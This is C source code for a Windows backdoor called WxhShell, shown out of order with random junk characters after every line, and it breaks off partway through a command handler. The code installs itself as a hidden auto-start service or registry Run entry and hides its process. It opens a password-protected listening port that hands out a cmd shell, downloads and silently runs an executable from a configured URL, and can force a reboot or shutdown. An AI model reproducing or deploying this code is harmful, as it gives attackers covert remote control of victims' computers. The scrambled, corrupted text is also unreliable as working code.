    if(Boot(SHUTDOWN)) _-c1" Kl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6haw\ *  
    else { Ygs:Ox"[-G  
    closesocket(wsh);  JcJc&cG  
    ExitThread(0); J{qsCJiB  
    } T:!f_mu|  
    break; Sk7sxy<F'  
    } /C\tJs  
  // 获取shell |9Pi*)E  
  case 's': { ;6AanwR6  
    CmdShell(wsh); \S]` { kY,  
    closesocket(wsh); Fz.Ij'8.H  
    ExitThread(0); Da-U@e!  
    break; V ah&)&n  
  } -,a@bF:  
  // 退出 1<;RI?R[9  
  case 'x': { T]UrKj/iF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,+GS.]8<  
    CloseIt(wsh); wmB_)`QNP  
    break; Bk2j|7  
    } tTE]j-uT  
  // 离开 $eiW2@  
  case 'q': { yE{\]j| Zf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 20Z=_},  
    closesocket(wsh); d\-v+'d*+  
    WSACleanup(); E/@  
    exit(1); ?DgeKA"A  
    break; F_.1^XM  
        } des.TSZ  
  } WG]`Sy  
  } q{CD:I:-  
iBh.&K{j  
  // 提示信息 AkAQ%)6qV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iq@&?,W  
} Z_Y' 3'^Tw  
  } 51gSbkVX  
LMHii Os,  
  return; ~+S,`8-P  
} DI0Wk^m  
Pe/8=+qO  
// shell模块句柄 K,5_{pj  
int CmdShell(SOCKET sock) ^I:f4RWo  
{ ~A03J:Yc7  
STARTUPINFO si; /{>_'0  
ZeroMemory(&si,sizeof(si)); :j&-Lc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V>(>wSR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WX4 f3Um  
PROCESS_INFORMATION ProcessInfo; vI \8@97  
char cmdline[]="cmd"; Av>xgfX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); au#/Q  
  return 0; wK!7mZ  
} h!J|4Q a  
Ejt?B')aB5  
// 自身启动模式 g&r3 ;  
int StartFromService(void) K^e4w`F|  
{ ~FnuO!C  
typedef struct $EG9V++b3  
{ uNf97*~_  
  DWORD ExitStatus; e7r3o,!  
  DWORD PebBaseAddress; 9c{T|+ ]  
  DWORD AffinityMask; 5;@2SY7 ,  
  DWORD BasePriority; ]ONBr(M\  
  ULONG UniqueProcessId; F60?%gg  
  ULONG InheritedFromUniqueProcessId; C;0VR  
}   PROCESS_BASIC_INFORMATION; kgP6'`}E[  
U8OVn(qV  
PROCNTQSIP NtQueryInformationProcess; $CDRIn50  
nhy:5eSK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #H;1)G(/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q}gM2Ia'vY  
L~("C  
  HANDLE             hProcess; M'nzoRk  
  PROCESS_BASIC_INFORMATION pbi; snP]&l+  
d+p^fBz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :%<'('S |  
  if(NULL == hInst ) return 0; .^8rO ,H[  
c)Ne/E{!0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PIHKSAnq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?tkl cYB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a7sX*5t{R  
yG2rAG_ G&  
  if (!NtQueryInformationProcess) return 0;  6apK  
wufQyT`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S;j"@'gz9  
  if(!hProcess) return 0; Ui'*$W]v  
?OFfU  4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vLpIVNA]]Y  
|]eWO#vs  
  CloseHandle(hProcess); tuJ{IF  
L),r\#Y(v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \$!D^%~;  
if(hProcess==NULL) return 0; umN4|X  
G^:?)WRG  
HMODULE hMod; afE8Kqa:H  
char procName[255]; 7LsVlT[  
unsigned long cbNeeded; "dHo6CT,y_  
)cU$I)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w\a6ga!xt"  
5[]Yxl  
  CloseHandle(hProcess); 5!BW!-q  
HV{W7)  
if(strstr(procName,"services")) return 1; // 以服务启动  0:$pJtx"  
NInZ~4:  
  return 0; // 注册表启动 :xk+`` T  
} r-No\u_  
piFZu/~Gq\  
// 主模块 8WpZ "  
int StartWxhshell(LPSTR lpCmdLine) Ec&_&  
{ Z+_xX  
  SOCKET wsl; Y+eDE:4  
BOOL val=TRUE; 0nZQ" {x  
  int port=0; [U:P&)  
  struct sockaddr_in door; <Qt9MO`a  
\46*4?pP  
  if(wscfg.ws_autoins) Install(); cNMDI  
u7  
port=atoi(lpCmdLine); :Sn4Pg `Q  
OVGB7CB]S  
if(port<=0) port=wscfg.ws_port; @U:PXCvh  
 |CAMdU  
  WSADATA data; !Y 9V1oVf"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _<'?s>(U'  
T1%}H3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xT-`dS0u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OHt^e7\  
  door.sin_family = AF_INET; 'n}]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6?a z  
  door.sin_port = htons(port); .yHi"ss3  
=t %;mi,M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gHFQs](G.  
closesocket(wsl); 3R%yKa#  
return 1; i:Gyi([C  
} o .V JnrJ  
n. vrq-  
  if(listen(wsl,2) == INVALID_SOCKET) { Rm`P.;%  
closesocket(wsl); F`1J&S;C  
return 1; 39L_O RMH  
} qMw_`dC  
  Wxhshell(wsl); In8{7&iVO  
  WSACleanup(); 9CAu0N5<  
_ jH./ @G  
return 0; iUs_)1  
Y$9x !kV  
} ,y@WFRsx  
R ^ZOcONd-  
// 以NT服务方式启动 DB}v..  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cPkP/3I]h  
{ S VypR LVB  
DWORD   status = 0; G8'  
  DWORD   specificError = 0xfffffff; ab`9MJc;  
5!aI~(3<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~[=d{M!$W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g_0| `Sm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n2|@Hz_  
  serviceStatus.dwWin32ExitCode     = 0; AR{$P6u!%|  
  serviceStatus.dwServiceSpecificExitCode = 0; O* lE0~rJ  
  serviceStatus.dwCheckPoint       = 0; IC1nR u2I  
  serviceStatus.dwWaitHint       = 0; <[$a7l i  
z#lIu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *=tA},`\7  
  if (hServiceStatusHandle==0) return; y6Ez.$M  
lbPn<  
status = GetLastError(); "&o"6ra }  
  if (status!=NO_ERROR) dnV&U%fO  
{ q=*bcDu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pfw`<*e'  
    serviceStatus.dwCheckPoint       = 0; /1_O5'5+v  
    serviceStatus.dwWaitHint       = 0; wPq9`9 #  
    serviceStatus.dwWin32ExitCode     = status; .hUlI3z9  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,3!TyQ \m'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3!%-O:!  
    return; E)wf'x  
  } PXML1.r$Q  
e,d}4 jy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @|s$ :;(=  
  serviceStatus.dwCheckPoint       = 0; HU$]o N  
  serviceStatus.dwWaitHint       = 0; F'CJN$6Mw/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uG/'9C6Z  
} M+%qVwp  
x U"g~hT  
// 处理NT服务事件,比如:启动、停止 Pz\ByD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4iZg2"[D  
{ CugZ!>;^  
switch(fdwControl) ?9>wG7cps7  
{ ]68 FGH  
case SERVICE_CONTROL_STOP: .jiJgUa7  
  serviceStatus.dwWin32ExitCode = 0; ] ^?w0A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *!E~4z=  
  serviceStatus.dwCheckPoint   = 0; fs-LaV 0  
  serviceStatus.dwWaitHint     = 0; 0g HV(L?  
  { lr?SL\D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w#ZzmO  
  } sLFZ 61rT  
  return; M8$e MS1  
case SERVICE_CONTROL_PAUSE: 4* I XBi7%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5z2("[8L&  
  break; FM(EOsWk  
case SERVICE_CONTROL_CONTINUE: IZ iS3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pjQyN|KS  
  break; ><xmw=  
case SERVICE_CONTROL_INTERROGATE: qz2`%8}F)  
  break; n5;@}Rai  
};  <4< y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $G{j[iLY  
} y%x:~.  
r;"D>IM\  
// 标准应用程序主函数 n-{d7haOa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s {^wr6B  
{ ;$e)r3r`LV  
mSvSdKKKlI  
// 获取操作系统版本 &#KN"uPW  
OsIsNt=GetOsVer(); 0-;>O|U3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `)4v Q+A>  
wmIe x  
  // 从命令行安装 Dr[;\/|#  
  if(strpbrk(lpCmdLine,"iI")) Install(); a)c;z@r  
=f [/Pv  
  // 下载执行文件 w%..*+P  
if(wscfg.ws_downexe) { JYmYX-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '.<c[Mp  
  WinExec(wscfg.ws_filenam,SW_HIDE); cd=|P?B i  
} g'{?j~g  
Ryh 0r  
if(!OsIsNt) { ^,F G 9  
// 如果时win9x,隐藏进程并且设置为注册表启动 z]-m<#1  
HideProc(); &328pOT4  
StartWxhshell(lpCmdLine); #XB3Wden2  
} TU58  
else 87W!R<G  
  if(StartFromService()) uqU&k@  
  // 以服务方式启动 yla- X|>  
  StartServiceCtrlDispatcher(DispatchTable); t_*x.{x-  
else `& h-+  
  // 普通方式启动 e+F $fQt>  
  StartWxhshell(lpCmdLine); [\Nmm4  
.tppCy  
return 0; _}ii1fLv  
} H9i7y,[*  
Km!ACA&s6  
iSR"$H{  
VBS}2>p  
=========================================== "A&A?%  
\13Q>iAu  
7Z~JuTIZ  
*9xxX,QT8Q  
RgJbM\`} ?  
q5JQx**g  
" z^jmf_  
Q672iR\#)  
#include <stdio.h> RAk"C!&^m  
#include <string.h> H V-;? 5  
#include <windows.h> I8% -ii  
#include <winsock2.h> WTM  
#include <winsvc.h> eThFRU3 F  
#include <urlmon.h> Nnr[@^M5  
"Nb2[R  
#pragma comment (lib, "Ws2_32.lib") BfCnyL%  
#pragma comment (lib, "urlmon.lib") _`O",Ff  
4b((,u$  
#define MAX_USER   100 // 最大客户端连接数 @"A 5yD5  
#define BUF_SOCK   200 // sock buffer D&I/Tbc  
#define KEY_BUFF   255 // 输入 buffer /$]S'[5uF  
4o;;'P   
#define REBOOT     0   // 重启 k;`1Ia  
#define SHUTDOWN   1   // 关机 8 5)C7tJ-g  
F$jy~W_  
#define DEF_PORT   5000 // 监听端口 r_T"b  
,x!r^YO=  
#define REG_LEN     16   // 注册表键长度 Vdefgq@<  
#define SVC_LEN     80   // NT服务名长度 qg1\ABH  
l&qyLL2 w  
// 从dll定义API upk+L^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FN<>L0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /W-ges  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S[yrGX8lu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VpAwvMw  
@ext6cFe3<  
// wxhshell配置信息 r&B0 -7r  
struct WSCFG { 6}Tftw$0z  
  int ws_port;         // 监听端口 S)wP];]`K  
  char ws_passstr[REG_LEN]; // 口令 A+foc5B  
  int ws_autoins;       // 安装标记, 1=yes 0=no +boL?Ix+  
  char ws_regname[REG_LEN]; // 注册表键名 nxBP@Td  
  char ws_svcname[REG_LEN]; // 服务名 [tJn! cMs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tU2#Z=a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iAk.pH]a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B(vCi^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z<^EZX3N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [7~AWZU3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J$5 G8<d>  
?Js4 \X!uJ  
}; gq 3|vzNZ  
B8"c+<b  
// default Wxhshell configuration @#hvQ6u  
struct WSCFG wscfg={DEF_PORT, = M4:nt  
    "xuhuanlingzhe", iR./9}Ze  
    1, hcRe,}wJ  
    "Wxhshell", 8Dtpb7\o  
    "Wxhshell",  <82&F  
            "WxhShell Service", e1E_$oJP  
    "Wrsky Windows CmdShell Service", F=w:!tqA  
    "Please Input Your Password: ", kZ)}tA7j  
  1, (~{Y}n]s  
  "http://www.wrsky.com/wxhshell.exe", 94dd )/a  
  "Wxhshell.exe" ,%N[FZ`|  
    }; xP9h$!  
p=A, yGDV  
// 消息定义模块 u/S>*E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w xte  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7B\NP`l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0gW{6BtPWm  
char *msg_ws_ext="\n\rExit."; 3h>L0  
char *msg_ws_end="\n\rQuit."; H~vrCi~t"  
char *msg_ws_boot="\n\rReboot..."; %,z;W-#gnY  
char *msg_ws_poff="\n\rShutdown..."; 4%8den,|  
char *msg_ws_down="\n\rSave to "; *c=vEQn-  
f(blqO.@l  
char *msg_ws_err="\n\rErr!"; cLwnV.  
char *msg_ws_ok="\n\rOK!"; z_lKq}^~6  
*s" OqTM]x  
char ExeFile[MAX_PATH]; ABe25Sus  
int nUser = 0; lVq5>:'}^;  
HANDLE handles[MAX_USER]; f.^|2T I1g  
int OsIsNt; 73 .+0x  
Sew*0S(  
SERVICE_STATUS       serviceStatus; i/'bpGrQ(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &g5PPQ18  
! }e75=x  
// 函数声明 ik/ X!YTu*  
int Install(void); NziCN*6  
int Uninstall(void); 3imsIBr  
int DownloadFile(char *sURL, SOCKET wsh); X<Cf y  
int Boot(int flag); s !2Iui @  
void HideProc(void); |te=DCO  
int GetOsVer(void); _6,\;"it?8  
int Wxhshell(SOCKET wsl); w|S b`eR  
void TalkWithClient(void *cs); 3<M yb  
int CmdShell(SOCKET sock); (7b9irL&cn  
int StartFromService(void); {'h&[f>zcQ  
int StartWxhshell(LPSTR lpCmdLine); v&/H6r#E.  
: 7"Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;zo|. YD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sa9VwVUE  
MI(#~\Y~P  
// 数据结构和表定义 *P7/ry^<F  
SERVICE_TABLE_ENTRY DispatchTable[] = siCm)B  
{ W!O/t^H>  
{wscfg.ws_svcname, NTServiceMain}, bQq/~  
{NULL, NULL} ercXw7{  
}; ,<#Rk 'y$  
ys`oHS f  
// 自我安装 BLaNS4e  
int Install(void) DW9MX`!Xc  
{ /J_ ],KdU  
  char svExeFile[MAX_PATH]; Lp(`m=;O  
  HKEY key; C,eP!_O  
  strcpy(svExeFile,ExeFile); Nr$78] o9  
R_+:nCB@,  
// 如果是win9x系统,修改注册表设为自启动 ;UpJ_y)n8\  
if(!OsIsNt) { Z#N w[>NN*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WrDFbcH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %!nN<%  
  RegCloseKey(key); f"j9C% '*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]*mUc`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p o)lN[v  
  RegCloseKey(key); EKF4 ]  
  return 0; K/N{F\  
    } T"za|Fo  
  } U_PH#e  
} i6n,N)%H  
else { F09%f"9  
"h[)5V{  
// 如果是NT以上系统,安装为系统服务 1`L.$T,1!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $"|r7n5[  
if (schSCManager!=0) m^qFaf)6  
{ K`9~#Zx$  
  SC_HANDLE schService = CreateService %} zkmEY.e  
  ( |k*bWuXgLs  
  schSCManager, <W8 %eRfU  
  wscfg.ws_svcname, l P=I0A-  
  wscfg.ws_svcdisp, e<1Ewml(]  
  SERVICE_ALL_ACCESS, ?G',Qtz<K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tl!dRV92  
  SERVICE_AUTO_START, P%l?C?L  
  SERVICE_ERROR_NORMAL, PcT]  
  svExeFile, DMch88W  
  NULL,  \SQ4yc  
  NULL, g3[-[G^5  
  NULL, ([rn.b]  
  NULL, _,(s  
  NULL I)` +:+P  
  ); rYdNn0mh k  
  if (schService!=0) "xTVu57Z[  
  { TS+jDs  
  CloseServiceHandle(schService); o jxK8_kl  
  CloseServiceHandle(schSCManager); wH@S$WT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [@VzpVhXz  
  strcat(svExeFile,wscfg.ws_svcname); G[ #R1'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SS`\_@ci  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )mOM!I7D@  
  RegCloseKey(key); ^1F zs(#.  
  return 0; W&9 qgbO]  
    } _p 1!8*0]  
  } -['& aey}a  
  CloseServiceHandle(schSCManager); WZ,k][~  
} U n)Xe  
} Yq|_6zbYf  
S{&%tj~U  
return 1; hO.b?>3NL  
} Fy E#@ R  
xsRkO9x  
// 自我卸载 Lm`-q(!7w  
int Uninstall(void) q\i&E Rr  
{ 1I69O6"  
  HKEY key; nF]R "  
fm^`   
if(!OsIsNt) { VUUnB<j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <v'[Wl@hq  
  RegDeleteValue(key,wscfg.ws_regname); q#c+%,Z=C  
  RegCloseKey(key); Nk\ni>Du3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ps?@lD  
  RegDeleteValue(key,wscfg.ws_regname); OZf@cOTWK  
  RegCloseKey(key); ai?J  
  return 0; 2Ul8<${c{  
  } EHf,VIC8  
} V~/@KU8cH  
} '9.@r\g  
else { NV/paoyx:*  
iOv>g-t:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =e#h;x2  
if (schSCManager!=0) n]4Elrxx  
{ /P9fcNP{y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B;8Zlm9  
  if (schService!=0) O-p`9(_m  
  { wI 7gHp  
  if(DeleteService(schService)!=0) { #P}n+w_@  
  CloseServiceHandle(schService); w$iPFZC'  
  CloseServiceHandle(schSCManager); tF/Ni*\^rV  
  return 0; #=y)Wuo=  
  } ESoC7d&.K{  
  CloseServiceHandle(schService); 'Y ,2CN  
  } 7@gH{p1  
  CloseServiceHandle(schSCManager); 3p HI+a  
} ?nL,Otz  
} L58H)V3Pn  
2Uf/'  
return 1; G/3T0d+-  
} 9@"pR;X@  
pO)EYla9  
// 从指定url下载文件 -lfDoNRhQ  
int DownloadFile(char *sURL, SOCKET wsh) %4M,f.[e  
{ 5 Slz ^@n  
  HRESULT hr; x5\Du63  
char seps[]= "/"; 1|G\&T   
char *token; @?]>4+Oa0  
char *file; 1@LUxU#Uu$  
char myURL[MAX_PATH]; J"E _i]  
char myFILE[MAX_PATH]; s1[.L~;J  
~e,l2 <  
strcpy(myURL,sURL); ~cO iv  
  token=strtok(myURL,seps); vdUKIP =|_  
  while(token!=NULL) `IBNBJy  
  { 5cA:;{z];g  
    file=token; v]Pyz<+  
  token=strtok(NULL,seps); R%2.N!8v  
  } 7>MG8pf3a  
Z6Mjc/  
GetCurrentDirectory(MAX_PATH,myFILE); W)f=\.7  
strcat(myFILE, "\\"); vmNI$ KZM  
strcat(myFILE, file); j7w9H/XF}  
  send(wsh,myFILE,strlen(myFILE),0); n;=FD;}j+  
send(wsh,"...",3,0); l*wGKg"x3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <"p-0=IgJ  
  if(hr==S_OK) l SKq  
return 0; L;?h)8  
else E+<GsN]  
return 1; M/[_~  
~AaEa,LQ  
} ?ZC!E0]  
Ug0c0z!b  
// 系统电源模块 ,{(XT7hr  
int Boot(int flag) V,& OO  
{ e#}Fm;|d  
  HANDLE hToken; -\%5aXr  
  TOKEN_PRIVILEGES tkp; / s Apj  
\@h$|nb  
  if(OsIsNt) { '/loJz 1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 862rol  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]i,o+xBKH  
    tkp.PrivilegeCount = 1; @C=gMn.E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &k_LK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7KUf,0D  
if(flag==REBOOT) { v \; /P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 .j/D^  
  return 0; RRQv<x  
} F}[!OYyg  
else { B9 ?58v&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O.y ?q  
  return 0; NB^Al/V@  
} DS@Yto  
  } RTg\c[=w  
  else { S^D@8<6GJ  
if(flag==REBOOT) { <?DI!~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4=y&}3om(0  
  return 0; as/PM"  
} Y%TY%"<  
else { @aFk|.6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WO!OaC?+B,  
  return 0; _ 3>E+9TQ  
} Qqj9o2  
} >e-0A  
w9"~NK8xzM  
return 1; ;{R;lF,  
} jHHCJOHB8  
:YkAp9civ  
// win9x进程隐藏模块 {=&( { cS  
void HideProc(void) j bT{K|d-  
{ 6v%ePFul  
]^wr+9zd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); If&y 5C  
  if ( hKernel != NULL ) x2HISxg  
  { PMbq5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %Q}(.h%M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ld|GY>rH  
    FreeLibrary(hKernel); 6,~ 1^g*  
  } 7l*vmF6Z  
U6H3T0#  
return; /f oI.S  
} R@Gll60  
qZV|}M>P)  
// 获取操作系统版本 g;[t1~oF  
int GetOsVer(void) ofz?L#:2  
{ '+iLW~   
  OSVERSIONINFO winfo; (IjM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _p9"MU&}  
  GetVersionEx(&winfo); @6R6.i5d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p9\*n5{  
  return 1; IW@phKz  
  else x11riK  
  return 0; j5/|1N  
} ;iJxJX\+  
!.pcldx  
// 客户端句柄模块 } C/+zF6q  
int Wxhshell(SOCKET wsl) h|Qb:zEP,  
{ O<@L~S]  
  SOCKET wsh; ,(sE|B#s  
  struct sockaddr_in client; `]4(Z"R  
  DWORD myID; cZoj|=3a  
grkA2%N  
  while(nUser<MAX_USER) ]8$H'u(C  
{ &AeNrtGu  
  int nSize=sizeof(client); o.zP1n|G~r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4!96k~d}  
  if(wsh==INVALID_SOCKET) return 1; R/E6n &R  
;+o6"ky5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #CyqiOM\*  
if(handles[nUser]==0) xA2I+r*o  
  closesocket(wsh); Q 9f5}  
else (=1zMZ o  
  nUser++;  nsV=  
  } >/}p{Tj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s!MD8i a  
kj4=Q\Rfm  
  return 0; 5X5UUdTM  
} @y * TVy  
rHOhi|+  
// 关闭 socket `e3$jy@  
void CloseIt(SOCKET wsh) N6+^}2' *)  
{ Y8lZ]IB  
closesocket(wsh); SH8zkAA7u}  
nUser--; B#5[PX  
ExitThread(0); FK-q-PKO#.  
} jpW_q+^?  
cuy9QBB :  
// 客户端请求句柄 bBo>Y7%  
void TalkWithClient(void *cs) BOy&3.h5?  
{ ;qWSfCt/^  
k w   
  SOCKET wsh=(SOCKET)cs; ` ` Yk  
  char pwd[SVC_LEN]; {%y|A{}c  
  char cmd[KEY_BUFF]; $[7/~I>m  
char chr[1]; >mEfd=p  
int i,j; w?N>3`Jnf  
,PJC FQMR  
  while (nUser < MAX_USER) { )4:]gx#cr  
+IjBeQ?  
if(wscfg.ws_passstr) { M ]O4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q uw|KL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vwjic2lGI  
  //ZeroMemory(pwd,KEY_BUFF); KPjAk  
      i=0; BxQ,T@  
  while(i<SVC_LEN) { \>n[x; $  
3qH1\  
  // 设置超时 O1DUBRli!q  
  fd_set FdRead; yxf #@Je"  
  struct timeval TimeOut; $bZ-b1{c C  
  FD_ZERO(&FdRead); 4UzXTsjM7  
  FD_SET(wsh,&FdRead); E:A!tu$B  
  TimeOut.tv_sec=8; N{@~(>ee^  
  TimeOut.tv_usec=0; }?+tX<j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \M0's&1(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7(^F@,,@  
{&B0kjf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?q2Yk/P  
  pwd=chr[0]; yA_ly <  
  if(chr[0]==0xd || chr[0]==0xa) { V+l7W  
  pwd=0; '(N(k@>{  
  break; mDD96y  
  } Zp<#( OIu  
  i++; Q0x?OL]A  
    } dIhfp7|  
F`{O  
  // 如果是非法用户,关闭 socket 0,.|-OZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &_hEM~{  
}  +`ov1h  
lq, ]E/<&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r{S DJa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 87!m l  
l7@cov  
while(1) { 8]1,EE<  
8HIX$OX>2  
  ZeroMemory(cmd,KEY_BUFF); $}z/BV1I  
Wyeb1  
      // 自动支持客户端 telnet标准   7-u'x[=m  
  j=0; Q&?0 ^;r  
  while(j<KEY_BUFF) { hJir_=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ssoE,6kS  
  cmd[j]=chr[0]; ]\L+]+u~  
  if(chr[0]==0xa || chr[0]==0xd) { ];b+f@  
  cmd[j]=0; 8.I3%u  
  break; 3=} P l,  
  } {{gt>"D,  
  j++; ('\sUZ+5  
    } |R!ozlL{}  
b7T;6\[m  
  // 下载文件 #)[.Xz:U  
  if(strstr(cmd,"http://")) { y*US^HJOZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , `EOJ"|  
  if(DownloadFile(cmd,wsh)) aD_7^8>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a1%}Ee  
  else 8IBr#+0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } _^ vvu  
  } $\~cWpv  
  else { 19!;0fe=  
X(3| (1;sV  
    switch(cmd[0]) { Y> }\'$\b  
  EIyFGCw|U  
